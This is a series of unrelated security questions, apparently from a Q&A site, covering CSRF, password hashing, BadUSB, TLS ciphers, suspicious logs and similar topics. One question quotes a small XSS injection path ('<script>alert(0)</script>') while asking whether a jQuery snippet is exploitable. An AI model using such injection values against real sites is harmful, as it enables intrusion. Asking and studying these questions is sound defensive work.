Where can I find websites that perform drive-by dowload attacks ? I need such websites in order to test a software that prevents such attacks. I am in the testing phase but I do not see where I could find such websites. Thank you for any help.
How can I protect the following code from CSRF? $.post("lib/newEmployee.php",{employee_id: employee_id, employee_name: employee_name}, function (output){ //code }); And here is my form (it is submitted after being validated with jquery validate): <form id="new-employee" class="inline-input" action="#" method="post"/> <div class="employee-container"> <div class="field-box"> <input type="text" class="input-block-level" id="employee_id" name="employee_id" autocomplete="off"> </div> <div class="field-box"> <input type="text" class="input-block-level" id="employee_name" name="employee_name" autocomplete="off"> </div> <div class="field-box"> <button type="submit" class="btn btn-success btn-block">New Employee></button> </div> </div> </form>
Can a word document contain virus or harm you in any way? Someone sent me a word docx that has only 2 pages, no image but it's 1.7 MB big. If I use save as to save it with a different name but still docx than the duplicated document has only 35 KB. Is there something I'm missing? Can this happen normally? If yes, how can I figure this out?
As far as I understand if Dropbox wants to automatically run in the background without asking the user for a password it has to store the password somewhere on the harddrive and has currently no way to encrypt that password in a way that other applications can't read it. As a result some security aware application ask the user every time the run for a password to avoid storing the password. I could imagine a system where the OS has a safe area that encrypted with the password that the user uses to login to it's user account and that configured in a way that only the dropbox.exe can access. The dropbox.exe can identified via the path where it lies on the disk and a hash. When Dropbox updates itself it would have to give a notice to the OS to calculate a new hash. This not only goes for Apps like Dropbox but also for Apps like KeePass that store lots of passwords. It seems to me that even a malware that can read the whole disk and capture keys via a keylogger couldn't steal passwords in a setup like this, provided the keylogger isn't active when the user signs into his user account. Is there an error somewhere in my thinking?
The way I understand password security is that the user enters a password, which is then converted using a hash function. The website then compares it to the stored hash to see if it is correct. That way only the hash is stored, so if an attacker learns that they don't have the original password. Where exactly is it converted to a hash? If it is done clientside, I would expect that an attacker who knows the hash could modify clientside code to send that directly to the server. But if done serverside, then the plaintext password has to be sent across the network, which seems like it is a security problem if an attacker is able to listen to the connection. Which of these methods is used, and how are the potential security flaws addressed?
Recently I read a few things about the BadUSB exploit, for example: http://arstechnica.com/security/2014/07/this-thumbdrive-hacks-computers-badusb-exploit-makes-devices-turn-evil/ My understanding is that a device connected to USB can change its appearance (drive, keyboard, network card, ...), which opens the opportunity for an infected USB drive (or other device for that matter) to simulate things like a keyboard and submit malicious commands or a network card and connect to web adresses to download programs. The problem appears to be that the computer automatically trusts USB devices. However, the power of the infected chip is probably very limited, which makes it difficult to simulate more complex hardware like network cards: How to prevent BadUSB attacks on Linux desktop? Anyhow, I am interested if it is principally possible to prevent such behavior: Is my understanding of the exploit correct? If so: Wouldn't it be possible to implement a software "firewall" that asks the user for permission if new USB devices are connected and especially throws a warning if the "type" of the device changes? By that I mean not simply clicking ok (which a malicious USB device may do on its own), but use something like a CAPTCHA. If that is not possible, because the software may not be able prevent the usage of a USB device (or for some reason): Would a hardware solution be possible, that forwards USB data, but for example only allows USB drives and not keyboards? How does a USB device tell the computer its "type"?
There are some usernames that shouldn't be allowed to register on online services, for example: administrator, admin, root, system, owner, hostmaster, webmaster, sitename or sitenameadmin As far as I know, those shouldn't be allowed because they might cause a security risk, due to users registering those usernames might be able to impersonate a website official, and some users might be fooled by this. http://example.com/administrator administrator@example.com Where can I find a list of all those usernames that shouldn't be allowed to register by anonymous users?
Ok lets say some one have clone my debit card here in Greece all debit cards have and stripe and chip and lets say in a way he knows my pin and all my information and he put the info on a blank card can he take my money? i repeate here in greece all banks have chip
I have a question. One of my colleague gave me a Smart Token which consists of public/private key inside and asked me if I can test its security. I said it should be tested in a equipped lab for passing FIPS standard tests. However I was wondering if I can test this token with some tools and check if it's secure. I searched the web but I couldn't find anything useful. Does anybody here have any experience in this area? Any help would be greatly appreciated. EDIT: Since my question may not be clear as I think, I put it in some practical approach, if I gave you some PKI token and show you some certificates which it has like FIPS-140, PKCS11, ... whould you use this PKI token in your secure applications? In other words, you trust a secure device by certificates which producer claims to have?? What if there is a hardware Torjan or backdoor implemented into device?
I am a little bit afraid about remote hacking, since I'm using a Windows 7. I see what a hacker can do if he exploits the DCOM vulnerability in Windows XP, but does this sort of exploit exist on Windows 7 or Windows 8? It other words, can hackers compromise a system with only knowing the IP address of my machine and get it hacked remotely like a Windows XP machine?
I have heard throughout the internet that English is incredibly redundant. So why do we turn English messages in to a cipher which is then, from my understanding more vulnerable to letter frequency analysis (LFA). I think it would be more vulnerable to LFA because someone trying to decrypt the message would only need to get a certain percentage of the letters correct. Why not use something where the hacker would require a much higher percentage of matches to letters? Or am I speaking from ancient times and is LFA not so much of a problem with the more recent ciphers? edit: Would it make more sense to use a much less redundant language, perhaps a custom language specifically for network communication where the source and destination nodes have translation software? Thanks :)
If not, how is an ARP attack possible on a WPA2 secured network?
I understand you would not want to do this as it would limit compatibility for older devices and platforms. However if someone were in an all TLS1.2 environment, say a very well managed internal corporate network with all up to date browsers, is there any reason to keep TLS1.0 enabled?
About an hour ago, strange requests began showing up in my access logs. They are coming in at a rate of ca. 400 req/s and appear to come from IPs all over the place. It started out at a lover rate and has been increasing, which worries me. The requests look like this: 63.141.242.51 - - [17/Aug/2014:19:10:50 +0000] "GET http://anx.batanga.net/tt?id=3011996&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]&pubclick=[INSERT_CLICK_TAG] HTTP/1.0" http 200 0.000 612 "http://www.youdaoqii.com/news/014082324453123443.html" "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0" 107.151.241.5 - - [17/Aug/2014:19:10:50 +0000] "GET http://ib.adnxs.com/tt?id=3351132&referrer=yesshealth.com HTTP/1.0" http 200 0.000 612 "http://wwww.yesshealth.com" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.5; AOLBuild 4337.43; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)" 67.198.137.236 - - [17/Aug/2014:19:10:50 +0000] "GET http://anx.batanga.net/ttj?id=3289594&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]&pubclick=[INSERT_CLICK_TAG] HTTP/1.0" http 200 0.000 612 "http://www.formerfinance.com/?p=1363" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.27; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" 198.204.227.19 - - [17/Aug/2014:19:10:50 +0000] "GET http://anx.batanga.net/tt?id=3087276&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]&pubclick=[INSERT_CLICK_TAG] HTTP/1.0" http 200 0.000 612 "htp://www.canyouqq.com/news/2014/34457v0947608250480.html" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.17; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" 198.204.231.173 - - [17/Aug/2014:19:10:50 +0000] "GET http://anx.batanga.net/tt?id=3087276&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]&pubclick=[INSERT_CLICK_TAG] HTTP/1.0" http 200 0.000 612 "htp://www.canyouqq.com/news/2014/344570947608250480.html" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.17; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" 67.229.227.59 - - [17/Aug/2014:19:10:50 +0000] "GET http://anx.batanga.net/tt?id=3253370&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]&pubclick=[INSERT_CLICK_TAG] HTTP/1.0" http 200 0.000 612 "http://www.selfisheducation.com/walmart-scholarships-provides-students-with-millions-for-college/feed/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; 001\|Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)" 107.151.233.52 - - [17/Aug/2014:19:10:50 +0000] "GET http://ib.adnxs.com/tt?id=3351132&referrer=yesshealth.com HTTP/1.0" http 200 0.000 612 "http://wwww.yesshealth.com" "Mozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; SV1)" I found another question where someone seems to be getting the same kind of traffic: Strange Apache access logs The conclusion seems to be that it is a scan for open proxies. But if this is a scan, shouldn't it come from a single (or a few) IPs? This appears to be something else, in my limited knowledge. Can anyone confirm that this is just a scan or perhaps tell me what is going on? I'm running nginx and while the traffic is quite a lot, it's not currently causing any problems.
What information is kept in a linux file about the user and/or system that created it? I want to make some files publicly available, posted on another server such as GitHub or FTP, but I'd rather the original user & system information not be included. How can my intent be implemented?
In our company we have a procedure to verify internal worker but we cannot use it for temporary worker. We cannot use badges and because of privacy reasons we cannot use any photos. Is there any other way to authenticate them? For example I meet someone very late in the company building and nobody else is there. How can I find out whether the person belongs to the company or not?
Is it bad practice if one uses the same email address on different sites and forums?
I am trying to learn securing wcf service using ssl. I found this website and I am following the steps. http://robbincremers.me/2011/12/27/wcf-transport-security-and-client-certificate-authentication-with-self-signed-certificates/. But when came to creating certificate step I had an issue. Using below to create a certificate. makecert –pe –n “CN=localhost” –sr localmachine –ss my –sky exchange By default, the makecert utility creates certificates whose root authority is "Root Agency". For some reason, my Root Agency cert has become corrupted (invalid digital signature). How can I restore a valid Root Agency cert? The site says when I create a certificate using above statement and double click on it I should see this But I am seeing this: So even If I add Root Agency to trusted root certificate authority it doesn't make any sense. Other screenshot from my guide site: And I have How can I fix "This certificate has an invalid digital signature" issue?
OpenVAS reports that an Apache virtual host is vulnerable to CVE-2003-0042, which is a vulnerability in versions of Tomcat prior to 3.3.1a. The host is not running Tomcat. The detection OID is 1.3.6.1.4.1.25623.1.0.11438. Why is this vulnerability detected and how can I fix it? Is it a false positive?
I opened a web page using HTTPS. When I looked at the page info provided by my Web browser (Firefox) I saw the following: Connection encrypted: High-grade Encryption (TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, 128 bit keys). I got a question - what does this encryption technique mean? In an attempt to understand it I decided to find data on each part of it: TLS_ECDHE means ephemeral Elliptic Curve Diffie-Hellman and as Wikipedia says it allows two parties to establish a shared secret over an insecure channel. RSA is used to prove the identity of the server as described in this article. WITH_AES_128_GCM_SHA256: If I understand correctly - AES_128_GCM is a technique which provides authenticated encryption as described on this page. SHA256 is a hashing algorithm - one way function. But now I am trying to understand how to put all these things together. How does it work together as a whole and why it was setup in this way? In this YouTube video Alice and Bob use Diffie-Hellman keys exchange algorithm to agree on a secret key which they are going to use (this is TLS_ECDHE in our case). Isn't it enough to establish a secure connection (besides of RSA part which Alice and Bob did not do)? Why also there is this part - WITH_AES_128_GCM_SHA256?
In this image can someone tell me if a standard RSA certificate can support the EC_RSA ciphers listed? If so do you create the typical RSA keys when you are creating the CSR? Also I am fairly certain that the EC_ECDSA ciphers require the use of an ECDSA certificate. Is that correct?
It has been one year since BREACH made our way into our hearts, and there does not seem to be any articles or posts or patches since then, is my Google-fu weakening? Has BREACH been mitigated or patched in Apache/nginx? Can we enable GZIP on SSL if we provide further protections?
Is there a kind of analysis which would enable me to get AES key which was used for encrypting arbitrary data while I have both original and encrypted version of data ? The problem is that the AES key is burned into coprocessor but I have an interface to tell it to encrypt supplied data (therefore I can generate as much sample plaintext and encrypted data for possible analysis as it would be required).
Recently while looking at several banking URLs I can see the domain name with security certificate at address bar and normal locker security certificate at address bar. Have a look at the screenshots: Is it just an additional feature? What's the main difference between those two?
<div id="cat"></div> <script> $("#cat").html(location.pathname); </script> I think that example would work, but anyway, if location.pathname has to be a valid page, can this be exploited? Edit: I'm mainly talking about if the user can't make up their own pathname, (i.e. /test/<script>alert(0)</script>).
This website blacklists URLs: http://hosts-file.net/?s=54.244&view=history&direct=1 Its last database update has been today. When I check the last 5 URLs it published Firefox tells me they are unsafe. But When I check those URLs on http://wepawet.cs.ucsb.edu/ it says they are benign. And when I run those URLs on my computer (i take a risk) by unchecking the boxes of Firefox that prevent from blacklisted websites nothing happens: which result to trust ?
I have always wondered if penetration testing is a preventive or detective control. My view is that it is both preventive (preventive as it scans for vulnerabilities, which can be fixed to prevent cyberattacks) and detective (detects any vulnerabilities found on a system). Correct me if I am wrong.
In my nginx access.log I have plenty of request logs like this: 1.2.3.4 - - [18/Aug/2014:12:09:33 +0200] "-" 400 0 "-" "-" As you see there is neither browser specification nor any target url. I am wondering whether they could be part of an attack scheme (what sort of?) and if so how best to counter them?
I downloaded the Windows installer (.exe) for ImageMagick via http (both http and ftp downloads are provided here). Upon executing the file, Windows SmartScreen displays a banner across the screen saying "Running this app might put your PC at risk", so I decide to verify the published SHA256 checksum using the md5deep package. Turns out the downloaded file doesn't match the published checksum. I then tried downloading the file via FTP. This one worked. No SmartScreen warnings, no checksum errors. I tried downloading the http version a few more times. Once again, the SmartScreen warning is back and checksum doesn't match. The strange thing is, upon rebooting Windows, all of the previously corrupted files (the ones downloaded via http) suddenly match the checksum, and also, SmartScreen no longer displays the warning. What could be causing this?
I use a Macbook Air 2013 and I recently noticed a very strange and long line of digits and letters under my "shared" category in finder. When I click on the name, it just says "failed to connect." It has a picture of a PC next to the name. In addition, when my computer goes into sleep mode the screen saver says "test's macbook air" and I never set it to this. Has someone hacked me to "test" their aptitude? I am not very experienced with this sort of thing and I am slightly worried and taken off guard.
I have 2 SSL certificates that are generated and being used for our staging and development server. However, we wish to change the roles of these two servers. currently the staging server is using example.com domain and dev server is using dev.example.com domain. So after the switch, example.com will go to the current dev server and dev.example.com will go to the current staging server. In this case, will the SSL still be valid or do I need to get a new one?
This weekend I took part in an security challenge. I had great fun doing it but i found a huge gap in my knowledge that I'm really keen to fill and hope someone here can help get me pointing in the right direction. Midway into the challenge I discovered 2 files that appeared to contain encrypted data, but i could find no clues at to the encryption method or a key that may unlock them. On the assumption that I'd not just overlooked this information, how could i of started to extract the information from the data? I'd be happy to share the files somewhere if someone can recommend a place to upload? Regards,
If I understand correctly, according to this: http://blog.ircmaxell.com/2014/03/why-i-dont-recommend-scrypt.html, looks like the attacker can just create an optimimized version of scrypt that produce the same ouput with extremely high effiency (e.g. with N= 2^14, p = 8, r = 1, requires only 1KB instead of 16MB to run, while increase CPU work factor by only N/2).
Let's say I have two Linux servers. One containing a desktop app database (running on a local network) and a webserver. I want to automatically transfer each hour a database file (with a size of a few MB) from the local server to the web server to make updates. The information needs to be encrypted and the server has to be authenticated in order to make the transaction. I was thinking on SSH File Transfer protocol. My questions are: Is it the best option? What other options do I have? What existent library / script can I use to make the task automated? (in both servers)
I understand that it is important to use well known and well tested hashing algorithms instead of designing my own. For such there often are reference implementations available, which initialize the needed constants with manually picked random numbers. When I use such implementations, does it improve security to pick custom constants? I would expect an attacker to use the most likely values when bruteforcing my hashes, which are those from the reference. A strong cryptographic hashing algorithm shouldn't be breakable, not even with rainbow tables when using salting. So from a theoretic point, there shouldn't be much of a difference. However, I'm not an expert so I'd like to hear what you say.
In a recent discussion somebody mentioned the following hashing scheme: passHash = sha256(password) saltedHash = sha256(passHash+passHash.substr(-10) finalHash = sha256(secret+saltedHash) The password is hashed, then hashed again with the last 10 characters of the previous hash as 'salt'. Finally a secret is appended and everything is hashed again before it's saved to the database. How secure is this? I know that equal passwords will have the same finalHash. But apart from that, how bad is it to use part of the hashed password as salt? Does having a secret salt later help? How bad is it to have only 3 iterations of sha256 instead of a few thousands? Is there an easy attack that proves this hashing scheme is bullshit?
Forgive me, as I am very new to cryptography, but it seems interesting, and I have a question. I'll state my beliefs and please feel free to correct me on the aspects that I'm mistaken so i can learn: Here's what I think I know: When trying to protect a password, it goes through a hash function (i.e. SHA-1), and the resulting hash is stored in the database instead of the actual password itself. Any time one attempts to log in, and they type in their password, their entry gets hashed and then compared to the hash value in the database So does this mean that for a given login system, if i type "password1", it always has the same hash value? If that is the case, then wouldnt all members of a login system who have the same password also have the same hash value in the database? Or is there an additional form of security/differentiation implemented for each user so that my "password1" does not come out to the same hash value as the "password1" of another user?
I am building an API that returns data about companies Multiple applications will access the API, some of these applications will have access to one company, some to multiple companies. When a request is recieved for data, an ApplicationApiKey is also sent. I check if the ApiKey has access to the company data. THis works great for the applications that are allowed access to one company, however an ApplicationApiKey may have access to multiple companies. A user from Company1 could log in to the application and send a request to https://myapi.com/ticketrequest?timestamp=20140808&ticket=123. The user could update to ticket parameter to a different number. This could be the ticket number of a different company that the Application is authorized to access but the logged in user is not. How do I stop users modifying this url to a ticket number of a different company? These are my thoughts so far: It is enough having my API accessible via SSL only Ask the application developer to encrypt the parameters. https://myapi.com/ticketrequest?re1=ABNFOPO6KJGFD8JGFADIP, This seems feasible for GET requests but what about POSTs. Not my problem, its up to the app developer (until something happens when it will be) My whole process is wrong, it should be one APIKey per company (but this is not possible as applications may add and remove users from different companies) Thanks for any replies
I have suspicions that someone other than people on my team have obtained the credentials to remotely access a Windows 2008 Server. I need to get some evidence before I start pointing fingers or get everyone alerted that someone might be hacking our servers. Can I get a log of all the computers that have remotely accessed my server (by remote access I mean using the remote desktop features of Windows server). Ideally there should be some information about each computer, at least their public IP address. Any help would be appreciated.
I'm fairly certain I shouldn't commit certificates into source control. Even if the repository is private and only authenticated coworkers (for example) have access to it. That would allow for accidental exposure (thumb drives, leaked credentials, whatever). But, how should I store and secure certificates? I don't suppose I should just plop them on the network file server, for some of the same reasons I wouldn't put them into source control, right? Is there some kind of secure certificate store that I can run? Does the Java "keystore" do that generally or is it specific for like weblogic servers or something?
I am aware of the implications that hashing something more than once correctly will increase the security of a system, but doing it incorrectly will decrease it, as noted here and on various other sources. But I stumbled upon a feature of Keepass, where the password database is encrypted N times to increase the work factor for brute force or dictionary attacks. This part explains how it is done: Protection against Dictionary Attacks While I think that I am aware of the implication of hashing several times I am unsure whether encrypting several times, as explained above, increases robustness of the database. Disclaimer: I've read Keepass Dictionary Attack Protection Strategy
I currently have a desktop application which requires the user to have a username and a password. These credentials are stored on a webserver (myserver.com), so when he types the username and the password and clicks on the Login button, they're sent to the webserver. If the credentials are right, the server will return "ok", some user info, and the main form will be displayed. If not, the server will return "wrong" and an alert will be displayed. However, this is very insecure, because a user can just edit the hosts file, redirect myserver.com to his localhost, which always returns "ok", and bypass the login screen. I was told to generate a pair of RSA keys, and then encrypt a "nonce" (a random number) in the desktop app and send it along with the credentials. If the server could return the number decrypted, that would mean that it's actually my server. I have to say that the webserver is hosted in Heroku so HTTPS is enabled by default, but I don't have any SSL certificates whatsoever. This seems to be pretty good, but is this prone to a man-in-the-middle attack? An attacker could just redirect myserver.com to his localhost, send the request from localhost, receive the decrypted number, change "wrong" to "ok" (or change some user info) and send it back to the app. How can I make a more secure login form for a desktop app?

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